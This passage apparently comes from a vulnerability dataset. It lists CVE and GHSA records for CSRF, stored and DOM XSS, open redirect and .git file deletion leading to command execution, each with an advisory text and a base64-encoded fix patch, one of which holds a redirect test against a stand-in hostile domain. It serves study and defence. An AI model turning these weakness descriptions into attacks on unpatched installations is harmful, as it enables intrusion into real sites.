AgIHBhcnRpYWwKLSAgICAgIC5yZXBsYWNlKAotICAgICAgICAvXigoPzo8Lio/PikqKSgmZ3Q7KS9nbSwKLSAgICAgICAgKF8sIGxlYWRpbmcsIGNoYXJhY3RlcikgPT4gYCR7bGVhZGluZ31cdTAwYWQke2NoYXJhY3Rlcn1gCisgICAgICAucmVwbGFjZSgvXigoPzo8Lio/PikqKSguezR9KS9nbSwgKG1hdGNoZWQsIGxlYWRpbmcsIGNoYXJhY3RlcikgPT4KKyAgICAgICAgY2hhcmFjdGVyID09PSAnJmd0OycgPyBgJHtsZWFkaW5nfVx1MDBhZCZndDtgIDogbWF0Y2hlZAogICAgICAgKQogICAgICAgLnJlcGxhY2UoCiAgICAgICAgIC9eKCg/OjwuKj8+KSopKO+8nikvZ20sCgpGcm9tIDdmNzM5ZTRmYjMxOGI5ZGQ3MWI4YjgxYWUwMGUyMDRiZmYwYWE1ZTcgTW9uIFNlcCAxNyAwMDowMDowMCAyMDAxCkZyb206IFl1a2kgSGF0dG9yaSA8eXVraWhhdHRvcmkxMTE2QGdtYWlsLmNvbT4KRGF0ZTogRnJpLCAxNyBEZWMgMjAyMSAwMzowNToyMSArMDkwMApTdWJqZWN0OiBbUEFUQ0ggMy8zXSBVcGRhdGUgQ0hBTkdFTE9HLm1kCgotLS0KIENIQU5HRUxPRy5tZCB8IDQgKysrKwogMSBmaWxlIGNoYW5nZWQsIDQgaW5zZXJ0aW9ucygrKQoKZGlmZiAtLWdpdCBhL0NIQU5HRUxPRy5tZCBiL0NIQU5HRUxPRy5tZAppbmRleCBiM2UzMTBmMy4uYWY1ZWFlMTIgMTAwNjQ0Ci0tLSBhL0NIQU5HRUxPRy5tZAorKysgYi9DSEFOR0VMT0cubWQKQEAgLTIsNiArMiwxMCBAQAogCiAjIyBbVW5yZWxlYXNlZF0KIAorIyMjIEZpeGVkCisKKy0gRml4IHBlcmZvcm1hbmNlIGlzc3VlcyBvZiB0YWdzIGluIGA8YmxvY2txdW90ZT5gCisKICMjIHY0LjUuMCAtIDIwMjEtMTItMDIKIAogIyMjIEFkZGVk", "url": "https://github.com/yhatt/jsx-slack/commit/36e4a10405e4c7745333e245fcc5029c02c7065d.patch" } ]
CWE-400: Uncontrolled Resource Consumption
CVE-2022-4397
morontt zend-blog-number-2 Comment Comment.php cross-site request forgery
A vulnerability was found in morontt zend-blog-number-2. It has been classified as problematic. Affected is an unknown function of the file application/forms/Comment.php of the component Comment Handler. The manipulation leads to cross-site request forgery. It is possible to launch the attack remotely. The name of the patch is 36b2d4abe20a6245e4f8df7a4b14e130b24d429d. It is recommended to apply a patch to fix this issue. VDB-215250 is the identifier assigned to this vulnerability.
[ { "commit_message": "[PATCH] Add CSRF-token for comments application/controllers/IndexController.php | 31 ++++++++++++++++++- application/forms/Comment.php | 4 +++ .../views/scripts/index/formcomment.phtml | 1 + 3 files changed, 35 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSAzNmIyZDRhYmUyMGE2MjQ1ZTRmOGRmN2E0YjE0ZTEzMGIyNGQ0MjlkIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBBbGV4YW5kZXIgSGFyY2hlbmtvIDxtb3JvbnR0QGdtYWlsLmNvbT4KRGF0ZTogVGh1LCAyMyBKdW4gMjAyMiAyMDoyNjo1MyArMDMwMApTdWJqZWN0OiBbUEFUQ0hdIEFkZCBDU1JGLXRva2VuIGZvciBjb21tZW50cwoKLS0tCiBhcHBsaWNhdGlvbi9jb250cm9sbGVycy9JbmRleENvbnRyb2xsZXIucGhwICAgfCAzMSArKysrKysrKysrKysrKysrKystCiBhcHBsaWNhdGlvbi9mb3Jtcy9Db21tZW50LnBocCAgICAgICAgICAgICAgICAgfCAgNCArKysKIC4uLi92aWV3cy9zY3JpcHRzL2luZGV4L2Zvcm1jb21tZW50LnBodG1sICAgICB8ICAxICsKIDMgZmlsZXMgY2hhbmdlZCwgMzUgaW5zZXJ0aW9ucygrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL2FwcGxpY2F0aW9uL2NvbnRyb2xsZXJzL0luZGV4Q29udHJvbGxlci5waHAgYi9hcHBsaWNhdGlvbi9jb250cm9sbGVycy9JbmRleENvbnRyb2xsZXIucGhwCmluZGV4IGNkM2IyZTMuLmRkOTY3ZmMgMTAwNjQ0Ci0tLSBhL2FwcGxpY2F0aW9uL2NvbnRyb2xsZXJzL0luZGV4Q29udHJvbGxlci5waHAKKysrIGIvYXBwbGljYXRpb24vY29udHJvbGxlcnMvSW5kZXhDb250cm9sbGVyLnBocApAQCAtMTU0LDYgKzE1NCw3IEBAIHB1YmxpYyBmdW5jdGlvbiB0b3BpY0FjdGlvbigpCiAKICAgICAgICAgJGZvcm0gPSBuZXcgQXBwbGljYXRpb25fRm9ybV9Db21tZW50KCk7CiAgICAgICAgICRmb3JtLT50b3BpY0lkLT5zZXRWYWx1ZSgkcG9zdC0+aWQpOworICAgICAgICAkZm9ybS0+Z2V0RWxlbWVudCgnY3NyZlRva2VuJyktPnNldFZhbHVlKCR0aGlzLT5nZW5lcmF0ZUNvbW1lbnRUb2tlbigpKTsKIAogICAgICAgICAkdGhpcy0+dmlldy0+Zm9ybSA9ICRmb3JtOwogCkBAIC0yMzQsNyArMjM1LDEwIEBAIHB1YmxpYyBmdW5jdGlvbiBhamF4YWRkY29tbWVudEFjdGlvbigpCiAgICAgICAgICAgICBpZiAoJGZvcm0tPmlzVmFsaWQoJHRoaXMtPmdldFJlcXVlc3QoKS0+Z2V0UG9zdCgpKSkgewogICAgICAgICAgICAgICAgICRmb3JtRGF0YSA9ICRmb3JtLT5nZXRWYWx1ZXMoKTsKIAotICAgICAgICAgICAgICAgICR0aGlzLT5zYXZlQ29tbWVudCgkdG9waWNJZCwgJHVybCwgJGZvcm1EYXRhKTsKKyAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkQ29tbWVudFRva2VuKCRmb3JtRGF0YVsnY3NyZlRva2VuJ10pKSB7CisgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zYXZlQ29tbWVudCgkdG9waWNJZCwgJHVybCwgJGZvcm1EYXRhKTsKKyAgICAgICAgICAgICAgICB9CisKICAgICAgICAgICAgICAgICAkcmVzdWx0Wyd2YWxpZCddID0gdHJ1ZTsKICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgJGZvcm1WaWV3ID0gbmV3IFplbmRfVmlldzsKQEAgLTQxMyw0ICs0MTcsMjkgQEAgcHJvdGVjdGVkIGZ1bmN0aW9uIGlzQ0ROKCkKICAgICAgICAgICAgICYmIChzdHJpcG9zKCRfU0VSVkVSWydIVFRQX1ZJQSddLCAnQnVubnlDRE4nKSAhPT0gZmFsc2UKICAgICAgICAgICAgICAgICB8fCBzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVklBJ10sICdjZG43NycpICE9PSBmYWxzZSk7CiAgICAgfQorCisgICAgcHJpdmF0ZSBmdW5jdGlvbiBnZW5lcmF0ZUNvbW1lbnRUb2tlbigkdGltZSA9IG51bGwpOiBzdHJpbmcKKyAgICB7CisgICAgICAgICR0aW1lID0gJHRpbWUgPz8gdGltZSgpOworICAgICAgICAkdXNlckFnZW50ID0gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddID8/ICcnOworCisgICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCR0aW1lIC4gJzonIC4gaGFzaCgnbWQ1JywgJ01ENV8nIC4gJHVzZXJBZ2VudCAuICR0aW1lLCB0cnVlKSk7CisgICAgfQorCisgICAgcHJpdmF0ZSBmdW5jdGlvbiB2YWxpZENvbW1lbnRUb2tlbigkdG9rZW4pOiBib29sCisgICAgeworICAgICAgICAkcmF3ID0gYmFzZTY0X2RlY29kZSgkdG9rZW4sIHRydWUpOworICAgICAgICBpZiAoJHJhdyA9PT0gZmFsc2UpIHsKKyAgICAgICAgICAgIHJldHVybiBmYWxzZTsKKyAgICAgICAgfQorCisgICAgICAgICRwb3NpdGlvbiA9IHN0cnBvcygkcmF3LCAnOicpOworICAgICAgICBpZiAoJHBvc2l0aW9uID09PSBmYWxzZSkgeworICAgICAgICAgICAgcmV0dXJuIGZhbHNlOworICAgICAgICB9CisKKyAgICAgICAgJHRpbWUgPSBzdWJzdHIoJHJhdywgMCwgJHBvc2l0aW9uKTsKKworICAgICAgICByZXR1cm4gaGFzaF9lcXVhbHMoJHRoaXMtPmdlbmVyYXRlQ29tbWVudFRva2VuKCR0aW1lKSwgJHRva2VuKTsKKyAgICB9CiB9CmRpZmYgLS1naXQgYS9hcHBsaWNhdGlvbi9mb3Jtcy9Db21tZW50LnBocCBiL2FwcGxpY2F0aW9uL2Zvcm1zL0NvbW1lbnQucGhwCmluZGV4IDZjNjA5NWUuLmY0YWZlZWEgMTAwNjQ0Ci0tLSBhL2FwcGxpY2F0aW9uL2Zvcm1zL0NvbW1lbnQucGhwCisrKyBiL2FwcGxpY2F0aW9uL2Zvcm1zL0NvbW1lbnQucGhwCkBAIC04NSw2ICs4NSwxMCBAQCBwdWJsaWMgZnVuY3Rpb24gaW5pdCgpCiAgICAgICAgICAgICAkdGhpcy0+Y2hlY2tDb29raWUoKTsKICAgICAgICAgfQogCisgICAgICAgICRjc3JmVG9rZW4gPSBuZXcgWmVuZF9Gb3JtX0VsZW1lbnRfSGlkZGVuKCdjc3JmVG9rZW4nKTsKKyAgICAgICAgJGNzcmZUb2tlbi0+YWRkVmFsaWRhdG9yKCdOb3RFbXB0eScpOworICAgICAgICAkdGhpcy0+YWRkRWxlbWVudCgkY3NyZlRva2VuKTsKKwogICAgICAgICAkdGhpcy0+c2V0RWxlbWVudERlY29yYXRvcnMoJHRoaXMtPmVsZW1lbnREZWNvcmF0b3JzKTsKICAgICB9CiAKZGlmZiAtLWdpdCBhL2FwcGxpY2F0aW9uL3ZpZXdzL3NjcmlwdHMvaW5kZXgvZm9ybWNvbW1lbnQucGh0bWwgYi9hcHBsaWNhdGlvbi92aWV3cy9zY3JpcHRzL2luZGV4L2Zvcm1jb21tZW50LnBodG1sCmluZGV4IDI4MDI2MzcuLmU5YjNlYTMgMTAwNjQ0Ci0tLSBhL2FwcGxpY2F0aW9uL3ZpZXdzL3NjcmlwdHMvaW5kZXgvZm9ybWNvbW1lbnQucGh0bWwKKysrIGIvYXBwbGljYXRpb24vdmlld3Mvc2NyaXB0cy9pbmRleC9mb3JtY29tbWVudC5waHRtbApAQCAtMTcsNiArMTcsNyBAQAogICAgICAgICA8P3BocCBlY2hvICR0aGlzLT5mb3JtLT50b3BpY0lkOyA/PgogICAgICAgICA8P3BocCBlY2hvICR0aGlzLT5mb3JtLT5wYXJlbnRJZDsgPz4KICAgICAgICAgPD9waHAgZWNobyAkdGhpcy0+Zm9ybS0+Y29va2llOyA/PgorICAgICAgICA8P3BocCBlY2hvICR0aGlzLT5mb3JtLT5jc3JmVG9rZW47ID8+CiAgICAgPC9kaXY+CiAgICAgPGRpdiBjbGFzcz0ieW0tZmJveC1idXR0b24iPgogICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9InltLWJ1dHRvbiB5bS1hZGQiIGlkPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCI+0JTQvtCx0LDQstC40YLRjCDQutC+0LzQvNC10L3RgtCw0YDQuNC5PC9idXR0b24+", "url": "https://github.com/morontt/zend-blog-number-2/commit/36b2d4abe20a6245e4f8df7a4b14e130b24d429d.patch" } ]
CWE-863 Incorrect Authorization -> CWE-862 Missing Authorization -> CWE-352 Cross-Site Request Forgery
CVE-2025-27417
WeGIA Contains a Stored Cross-Site Scripting (XSS) in 'adicionar_status_atendido.php' via the 'status' parameter
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. A Stored Cross-Site Scripting (XSS) vulnerability was identified in the adicionar_status_atendido.php endpoint of the WeGIA application. This vulnerability allows attackers to inject malicious scripts into the status parameter. The injected scripts are stored on the server and executed automatically whenever the affected page is accessed by users, posing a significant security risk. This vulnerability is fixed in 3.2.16.
[ { "commit_message": "[PATCH] =?UTF-8?q?Resolu=C3=A7=C3=A3o=20XSS=20[Security=20https:/?= =?UTF-8?q?/github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-j3p8?= =?UTF-8?q?-xww6-wvqh]?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit dao/adicionar_status_atendido.php | 7 ++++++- dao/exibir_status_atendido.php | 2 +- 2 files changed, 7 insertions(+), 2 deletions(-)", "patch_text_b64": "RnJvbSAwZjI2NDRiY2EyYWZiZGZmZjIxNjYyYzUxYTY0Njc5ZGZiYThjMmJkIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBHYWJyaWVsUGludG9Tb3V6YSA8Z2FicmllbHBpbnRvc291ejRAZ21haWwuY29tPgpEYXRlOiBUdWUsIDI1IEZlYiAyMDI1IDEyOjQ3OjE1IC0wMzAwClN1YmplY3Q6IFtQQVRDSF0gPT9VVEYtOD9xP1Jlc29sdT1DMz1BNz1DMz1BM289MjBYU1M9MjBbU2VjdXJpdHk9MjBodHRwczovPz0KID0/VVRGLTg/cT8vZ2l0aHViLmNvbS9MYWJSZWRlc0NlZmV0UkovV2VHSUEvc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLWozcDg/PQogPT9VVEYtOD9xPy14d3c2LXd2cWhdPz0KTUlNRS1WZXJzaW9uOiAxLjAKQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04CkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IDhiaXQKCi0tLQogZGFvL2FkaWNpb25hcl9zdGF0dXNfYXRlbmRpZG8ucGhwIHwgNyArKysrKystCiBkYW8vZXhpYmlyX3N0YXR1c19hdGVuZGlkby5waHAgICAgfCAyICstCiAyIGZpbGVzIGNoYW5nZWQsIDcgaW5zZXJ0aW9ucygrKSwgMiBkZWxldGlvbnMoLSkKCmRpZmYgLS1naXQgYS9kYW8vYWRpY2lvbmFyX3N0YXR1c19hdGVuZGlkby5waHAgYi9kYW8vYWRpY2lvbmFyX3N0YXR1c19hdGVuZGlkby5waHAKaW5kZXggMmQ1NjVjMzU3Li5lODg1OGNjY2MgMTAwNjQ0Ci0tLSBhL2Rhby9hZGljaW9uYXJfc3RhdHVzX2F0ZW5kaWRvLnBocAorKysgYi9kYW8vYWRpY2lvbmFyX3N0YXR1c19hdGVuZGlkby5waHAKQEAgLTEsNyArMSwxMiBAQAogPD9waHAKKwlzZXNzaW9uX3N0YXJ0KCk7CiAJcmVxdWlyZV9vbmNlICdDb25leGFvLnBocCc7CisKKwkvL3ZlcmlmaWNhciBwZXJtaXNzw6NvCisJcmVxdWlyZV9vbmNlICcuLi9odG1sL3Blcm1pc3Nhby9wZXJtaXNzYW8ucGhwJzsKKwlwZXJtaXNzYW8oJF9TRVNTSU9OWydpZF9wZXNzb2EnXSwgMTIsIDMpOwogCQotCSRzdGF0dXMgPSB0cmltKCRfUE9TVFsic3RhdHVzIl0pOworCSRzdGF0dXMgPSB0cmltKGZpbHRlcl9pbnB1dChJTlBVVF9QT1NULCAnc3RhdHVzJywgRklMVEVSX1NBTklUSVpFX1NUUklORykpOwogCiAJaWYoISRzdGF0dXMgfHwgZW1wdHkoJHN0YXR1cykpewogCQlodHRwX3Jlc3BvbnNlX2NvZGUoNDAwKTsKZGlmZiAtLWdpdCBhL2Rhby9leGliaXJfc3RhdHVzX2F0ZW5kaWRvLnBocCBiL2Rhby9leGliaXJfc3RhdHVzX2F0ZW5kaWRvLnBocAppbmRleCAxYmQwZDEzOWMuLjE3ZmJjN2U1ZiAxMDA2NDQKLS0tIGEvZGFvL2V4aWJpcl9zdGF0dXNfYXRlbmRpZG8ucGhwCisrKyBiL2Rhby9leGliaXJfc3RhdHVzX2F0ZW5kaWRvLnBocApAQCAtNiw3ICs2LDcgQEAKIAkkc3RtdCA9ICRwZG8tPnF1ZXJ5KCRzcWwpOwogCSRyZXN1bHRhZG8gPSBhcnJheSgpOwogCXdoaWxlICgkcm93ID0gJHN0bXQtPmZldGNoKCkpIHsKLSAgICAJJHJlc3VsdGFkb1tdID0gYXJyYXkoJ2lkYXRlbmRpZG9fc3RhdHVzJz0+JHJvd1snaWRhdGVuZGlkb19zdGF0dXMnXSwnc3RhdHVzJz0+JHJvd1snc3RhdHVzJ10pOworICAgIAkkcmVzdWx0YWRvW10gPSBhcnJheSgnaWRhdGVuZGlkb19zdGF0dXMnPT4kcm93WydpZGF0ZW5kaWRvX3N0YXR1cyddLCdzdGF0dXMnPT5odG1sc3BlY2lhbGNoYXJzKCRyb3dbJ3N0YXR1cyddKSk7CiAJfQogCWVjaG8ganNvbl9lbmNvZGUoJHJlc3VsdGFkbyk7CiA/PgpcIE5vIG5ld2xpbmUgYXQgZW5kIG9mIGZpbGU=", "url": "https://github.com/LabRedesCefetRJ/WeGIA/commit/0f2644bca2afbdfff21662c51a64679dfba8c2bd.patch" } ]
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
GHSA-wj44-9vcg-wjq7
Gogs allows deletion of internal files which leads to remote command execution
null
[ { "commit_message": "[PATCH] repo: prevent preview and delete files in `.git` directories (#7870) ## Describe the pull request Fixes https://github.com/gogs/gogs/security/advisories/GHSA-ccqv-43vm-4f3w internal/database/repo_editor.go | 10 ++++++++++ 1 file changed, 10 insertions(+)", "patch_text_b64": "RnJvbSA3N2E0YTk0NWFlOWE4N2Y3N2UzOTJlOTA2NmI1NjBlZGI3MWI1ZGU5IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKb2UgQ2hlbiA8amNAdW5rbndvbi5pbz4KRGF0ZTogU3VuLCAyMiBEZWMgMjAyNCAxNToyNDoxOCAtMDUwMApTdWJqZWN0OiBbUEFUQ0hdIHJlcG86IHByZXZlbnQgcHJldmlldyBhbmQgZGVsZXRlIGZpbGVzIGluIGAuZ2l0YCBkaXJlY3RvcmllcwogKCM3ODcwKQoKIyMgRGVzY3JpYmUgdGhlIHB1bGwgcmVxdWVzdAoKRml4ZXMKaHR0cHM6Ly9naXRodWIuY29tL2dvZ3MvZ29ncy9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtY2Nxdi00M3ZtLTRmM3cKLS0tCiBpbnRlcm5hbC9kYXRhYmFzZS9yZXBvX2VkaXRvci5nbyB8IDEwICsrKysrKysrKysKIDEgZmlsZSBjaGFuZ2VkLCAxMCBpbnNlcnRpb25zKCspCgpkaWZmIC0tZ2l0IGEvaW50ZXJuYWwvZGF0YWJhc2UvcmVwb19lZGl0b3IuZ28gYi9pbnRlcm5hbC9kYXRhYmFzZS9yZXBvX2VkaXRvci5nbwppbmRleCBjMGJlMjUyOGQxMC4uMWVhNDM2ZjhhMzIgMTAwNjQ0Ci0tLSBhL2ludGVybmFsL2RhdGFiYXNlL3JlcG9fZWRpdG9yLmdvCisrKyBiL2ludGVybmFsL2RhdGFiYXNlL3JlcG9fZWRpdG9yLmdvCkBAIC0yMjAsNiArMjIwLDExIEBAIGZ1bmMgKHJlcG8gKlJlcG9zaXRvcnkpIFVwZGF0ZVJlcG9GaWxlKGRvZXIgKlVzZXIsIG9wdHMgVXBkYXRlUmVwb0ZpbGVPcHRpb25zKSAoCiAKIC8vIEdldERpZmZQcmV2aWV3IHByb2R1Y2VzIGFuZCByZXR1cm5zIGRpZmYgcmVzdWx0IG9mIGEgZmlsZSB3aGljaCBpcyBub3QgeWV0IGNvbW1pdHRlZC4KIGZ1bmMgKHJlcG8gKlJlcG9zaXRvcnkpIEdldERpZmZQcmV2aWV3KGJyYW5jaCwgdHJlZVBhdGgsIGNvbnRlbnQgc3RyaW5nKSAoZGlmZiAqZ2l0dXRpbC5EaWZmLCBlcnIgZXJyb3IpIHsKKwkvLyDwn5qoIFNFQ1VSSVRZOiBQcmV2ZW50IHVwbG9hZGluZyBmaWxlcyBpbnRvIHRoZSAiLmdpdCIgZGlyZWN0b3J5CisJaWYgaXNSZXBvc2l0b3J5R2l0UGF0aCh0cmVlUGF0aCkgeworCQlyZXR1cm4gbmlsLCBlcnJvcnMuRXJyb3JmKCJiYWQgdHJlZSBwYXRoICVxIiwgdHJlZVBhdGgpCisJfQorCiAJcmVwb1dvcmtpbmdQb29sLkNoZWNrSW4oY29tLlRvU3RyKHJlcG8uSUQpKQogCWRlZmVyIHJlcG9Xb3JraW5nUG9vbC5DaGVja091dChjb20uVG9TdHIocmVwby5JRCkpCiAKQEAgLTI4Myw2ICsyODgsMTEgQEAgdHlwZSBEZWxldGVSZXBvRmlsZU9wdGlvbnMgc3RydWN0IHsKIH0KIAogZnVuYyAocmVwbyAqUmVwb3NpdG9yeSkgRGVsZXRlUmVwb0ZpbGUoZG9lciAqVXNlciwgb3B0cyBEZWxldGVSZXBvRmlsZU9wdGlvbnMpIChlcnIgZXJyb3IpIHsKKwkvLyDwn5qoIFNFQ1VSSVRZOiBQcmV2ZW50IHVwbG9hZGluZyBmaWxlcyBpbnRvIHRoZSAiLmdpdCIgZGlyZWN0b3J5CisJaWYgaXNSZXBvc2l0b3J5R2l0UGF0aChvcHRzLlRyZWVQYXRoKSB7CisJCXJldHVybiBlcnJvcnMuRXJyb3JmKCJiYWQgdHJlZSBwYXRoICVxIiwgb3B0cy5UcmVlUGF0aCkKKwl9CisKIAlyZXBvV29ya2luZ1Bvb2wuQ2hlY2tJbihjb20uVG9TdHIocmVwby5JRCkpCiAJZGVmZXIgcmVwb1dvcmtpbmdQb29sLkNoZWNrT3V0KGNvbS5Ub1N0cihyZXBvLklEKSk=", "url": "https://github.com/gogs/gogs/commit/77a4a945ae9a87f77e392e9066b560edb71b5de9.patch" } ]
null
GHSA-r773-pmw3-f4mr
Open Redirect in koa-remove-trailing-slashes
null
[ { "commit_message": "[PATCH] fix: only redirect for current origin index.js | 8 ++++++-- test/index.js | 31 +++++++++++++++++++++++++++++++ 2 files changed, 37 insertions(+), 2 deletions(-)", "patch_text_b64": "RnJvbSBlN2NlNDAwMGU5ZmU0ZDk1NzMzMmRmMTA1NjY0MGEyMmViZWEyOGVlIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiA9P1VURi04P3E/UGF0cmlrPTIwPUMzPTg1a2Vyc3RyYW5kPz0gPHBhdHJpay5ha2Vyc3RyYW5kQHNjaGlic3RlZC5jb20+CkRhdGU6IFdlZCwgMTIgTWF5IDIwMjEgMTE6MDI6MDAgKzAyMDAKU3ViamVjdDogW1BBVENIXSBmaXg6IG9ubHkgcmVkaXJlY3QgZm9yIGN1cnJlbnQgb3JpZ2luCgotLS0KIGluZGV4LmpzICAgICAgfCAgOCArKysrKystLQogdGVzdC9pbmRleC5qcyB8IDMxICsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysKIDIgZmlsZXMgY2hhbmdlZCwgMzcgaW5zZXJ0aW9ucygrKSwgMiBkZWxldGlvbnMoLSkKCmRpZmYgLS1naXQgYS9pbmRleC5qcyBiL2luZGV4LmpzCmluZGV4IDAxMDJlODQuLmRjMWQ3YzUgMTAwNjQ0Ci0tLSBhL2luZGV4LmpzCisrKyBiL2luZGV4LmpzCkBAIC00MSw4ICs0MSwxMiBAQCBmdW5jdGlvbiByZW1vdmVUcmFpbGluZ1NsYXNoZXMob3B0cykgewogICAgICAgICAgICAgcGF0aCA9IHBhdGguc2xpY2UoMCwgLTEpOwogICAgICAgICAgICAgY29uc3QgcXVlcnkgPSBxdWVyeXN0cmluZy5sZW5ndGggPyAnPycgKyBxdWVyeXN0cmluZyA6ICcnOwogCi0gICAgICAgICAgICBjdHguc3RhdHVzID0gMzAxOwotICAgICAgICAgICAgY3R4LnJlZGlyZWN0KHBhdGggKyBxdWVyeSk7CisgICAgICAgICAgICBjb25zdCBuZXdVUkwgPSBuZXcgVVJMKHBhdGggKyBxdWVyeSwgY3R4LnJlcXVlc3QuVVJMKTsKKworICAgICAgICAgICAgaWYgKGN0eC5vcmlnaW4gPT09IG5ld1VSTC5vcmlnaW4pIHsKKyAgICAgICAgICAgICAgICBjdHguc3RhdHVzID0gMzAxOworICAgICAgICAgICAgICAgIGN0eC5yZWRpcmVjdChwYXRoICsgcXVlcnkpOworICAgICAgICAgICAgfQogICAgICAgICB9CiAKICAgICAgICAgaWYgKCFvcHRzLmRlZmVyKSB7CmRpZmYgLS1naXQgYS90ZXN0L2luZGV4LmpzIGIvdGVzdC9pbmRleC5qcwppbmRleCAyOGYxYTUzLi42ZWZhNWE1IDEwMDY0NAotLS0gYS90ZXN0L2luZGV4LmpzCisrKyBiL3Rlc3QvaW5kZXguanMKQEAgLTE2LDYgKzE2LDE1IEBAIGRlc2NyaWJlKCdrb2EtcmVtb3ZlLXRyYWlsaW5nLXNsYXNoZXMnLCAoKSA9PiB7CiAgICAgICAgICAgICAgICAgLmV4cGVjdCgnTG9jYXRpb24nLCAnL2ZvbycpCiAgICAgICAgICAgICAgICAgLmV4cGVjdCgzMDEsIGRvbmUpOwogICAgICAgICB9KTsKKworICAgICAgICBpdCgnZG9lcyBub3QgcmVkaXJlY3QgdG8gbWFsaWNpb3VzIGRvbWFpbnMnLCAoZG9uZSkgPT4geworICAgICAgICAgICAgY29uc3QgYXBwID0gbmV3IEtvYSgpOworICAgICAgICAgICAgYXBwLnVzZShyZW1vdmVUcmFpbGluZ1NsYXNoZXMoKSk7CisKKyAgICAgICAgICAgIHJlcXVlc3QoYXBwLmxpc3RlbigpKQorICAgICAgICAgICAgICAgIC5nZXQoJy8vZXYxbC5leGFtcGxlLycpCisgICAgICAgICAgICAgICAgLmV4cGVjdCg0MDQsIGRvbmUpOworICAgICAgICB9KTsKICAgICB9KTsKIAogICAgIGRlc2NyaWJlKCdkZWZlciA9IGZhbHNlJywgKCkgPT4gewpAQCAtMTA0LDYgKzExMywyNCBAQCBkZXNjcmliZSgna29hLXJlbW92ZS10cmFpbGluZy1zbGFzaGVzJywgKCkgPT4gewogICAgICAgICAgICAgICAgIGV4cGVjdChtb2NrLmN0eC5zdGF0dXMpLnRvQmUoMzAxKTsKICAgICAgICAgICAgIH0pOwogCisgICAgICAgICAgICBpdCgnU2hvdWxkIG5vdCBtb2RpZnkgcHJvdG9jb2wtcmVsYXRpdmUgcmVkaXJlY3RzJywgYXN5bmMgKCkgPT4geworICAgICAgICAgICAgICAgIGNvbnN0IG1vY2sgPSBjcmVhdGVNb2NrKCcvZk9vLz9iYXo9MScsICdiYXo9MScpOworCisgICAgICAgICAgICAgICAgLy8gTW9jayB0aGF0IHNvbWV0aGluZyBoYXMgbWFkZSBhIHJlZGlyZWN0IGJlZm9yZSB1cworICAgICAgICAgICAgICAgIG1vY2suY3R4LnN0YXR1cyA9IDMwMTsKKyAgICAgICAgICAgICAgICBtb2NrLmN0eC5ib2R5ID0gJ1JlZGlyZWN0aW5nIHRvIOKApic7CisgICAgICAgICAgICAgICAgbW9jay5jdHgucmVzcG9uc2UgPSB7CisgICAgICAgICAgICAgICAgICAgIGdldCgpIHsKKyAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAnLy9hbm90aGVyLWRvbWFpbi5jb20vZXh0ZXJuYWwvJzsKKyAgICAgICAgICAgICAgICAgICAgfQorICAgICAgICAgICAgICAgIH07CisKKyAgICAgICAgICAgICAgICBhd2FpdCByZW1vdmVUcmFpbGluZ1NsYXNoZXMoKShtb2NrLmN0eCwgbW9jay5uZXh0KTsKKworICAgICAgICAgICAgICAgIGV4cGVjdChtb2NrLnJlZGlyZWN0TW9jaykudG9Ob3RIYXZlQmVlbkNhbGxlZCgpOworICAgICAgICAgICAgICAgIGV4cGVjdChtb2NrLmN0eC5zdGF0dXMpLnRvQmUoMzAxKTsKKyAgICAgICAgICAgIH0pOworCiAgICAgICAgICAgICBpdCgnc2hvdWxkIHJlZGlyZWN0IG9uIHVybCBhbmQgcGF0aCBoYXMgdHJhaWxpbmcgc2xhc2gnLCBhc3luYyAoKSA9PiB7CiAgICAgICAgICAgICAgICAgY29uc3QgbW9jayA9IGNyZWF0ZU1vY2soJy9mb28vJyk7CiAgICAgICAgICAgICAgICAgYXdhaXQgcmVtb3ZlVHJhaWxpbmdTbGFzaGVzKCkobW9jay5jdHgsIG1vY2submV4dCk7CkBAIC0xNTcsNiArMTg0LDEwIEBAIGZ1bmN0aW9uIGNyZWF0ZU1vY2sob3JpZ2luYWxVcmwsIHF1ZXJ5c3RyaW5nKSB7CiAgICAgICAgIGN0eDogewogICAgICAgICAgICAgcXVlcnlzdHJpbmc6IHF1ZXJ5c3RyaW5nLAogICAgICAgICAgICAgb3JpZ2luYWxVcmw6IG9yaWdpbmFsVXJsLAorICAgICAgICAgICAgb3JpZ2luOiAnaHR0cHM6Ly9leGFtcGxlLmNvbScsCisgICAgICAgICAgICByZXF1ZXN0OiB7CisgICAgICAgICAgICAgICAgVVJMOiBuZXcgVVJMKG9yaWdpbmFsVXJsICsgJz8nICsgcXVlcnlzdHJpbmcsICdodHRwczovL2V4YW1wbGUuY29tJykKKyAgICAgICAgICAgIH0sCiAgICAgICAgICAgICBzdGF0dXM6IHVuZGVmaW5lZCwKICAgICAgICAgICAgIHJlZGlyZWN0OiByZWRpcmVjdE1vY2sKICAgICAgICAgfSw=", "url": "https://github.com/vgno/koa-remove-trailing-slashes/commit/e7ce4000e9fe4d957332df1056640a22ebea28ee.patch" } ]
null
CVE-2022-0602
Cross-site Scripting (XSS) - DOM in tastyigniter/tastyigniter
Cross-site Scripting (XSS) - DOM in GitHub repository tastyigniter/tastyigniter prior to 3.3.0.
